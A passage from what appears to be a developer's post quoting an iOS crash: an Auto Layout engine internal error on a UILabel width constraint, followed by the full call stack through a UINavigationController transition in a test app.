}: internal error. Cannot find an outgoing row head for incoming head UILabel:0x7f874c05b950.Width{id: 5939}, which should never happen.'
*** First throw call stack:
(
0 CoreFoundation 0x0000000106cda495 __exceptionPreprocess + 165
1 libobjc.A.dylib 0x000000010674a99e objc_exception_throw + 43
2 CoreFoundation 0x0000000106cda2ad +[NSException raise:format:] + 205
3 Foundation 0x0000000106338054 -[NSISEngine minimizeConstantInObjectiveRowWithHead:] + 178
4 Foundation 0x0000000106337f22 -[NSISEngine optimize] + 147
5 Foundation 0x00000001064802e3 -[NSISEngine withBehaviors:performModifications:] + 192
6 UIKit 0x0000000107364889 -[UIView(Hierarchy) _postMovedFromSuperview:] + 321
7 UIKit 0x0000000107362f42 __UIViewWasRemovedFromSuperview + 206
8 UIKit 0x0000000107362b9e -[UIView(Hierarchy) removeFromSuperview] + 218
9 UIKit 0x0000000107425069 -[UINavigationController navigationTransitionView:didEndTransition:fromView:toView:] + 320
10 UIKit 0x000000010741dfdd __49-[UINavigationController _startCustomTransition:]_block_invoke + 138
11 UIKit 0x0000000107973c2a -[_UIViewControllerTransitionContext completeTransition:] + 78
12 UIKit 0x0000000107306da4 __53-[_UINavigationParallaxTransition animateTransition:]_block_invoke103 + 605
13 UIKit 0x00000001073696e8 -[UIViewAnimationBlockDelegate _didEndBlockAnimation:finished:context:] + 299
14 UIKit 0x000000010735568e -[UIViewAnimationState sendDelegateAnimationDidStop:finished:] + 235
15 UIKit 0x0000000107355941 -[UIViewAnimationState animationDidStop:finished:] + 78
16 QuartzCore 0x000000010a920134 _ZN2CA5Layer23run_animation_callbacksEPv + 310
17 libdispatch.dylib 0x000000010868172d _dispatch_client_callout + 8
18 libdispatch.dylib 0x00000001086713fc _dispatch_main_queue_callback_4CF + 354
19 CoreFoundation 0x0000000106d38289 __CFRUNLOOP_IS_SERVICING_THE_MAIN_DISPATCH_QUEUE__ + 9
20 CoreFoundation 0x0000000106c85854 __CFRunLoopRun + 1764
21 CoreFoundation 0x0000000106c84d83 CFRunLoopRunSpecific + 467
22 GraphicsServices 0x000000010900df04 GSEventRunModal + 161
23 UIKit 0x0000000107310e33 UIApplicationMain + 1010
24 Mytest 0x00000001060b10a3 main + 115
25 libdyld.dylib 0x00000001089065fd start + 1
26 ??? 0x0000000000000001 0x0 + 1
)

Resources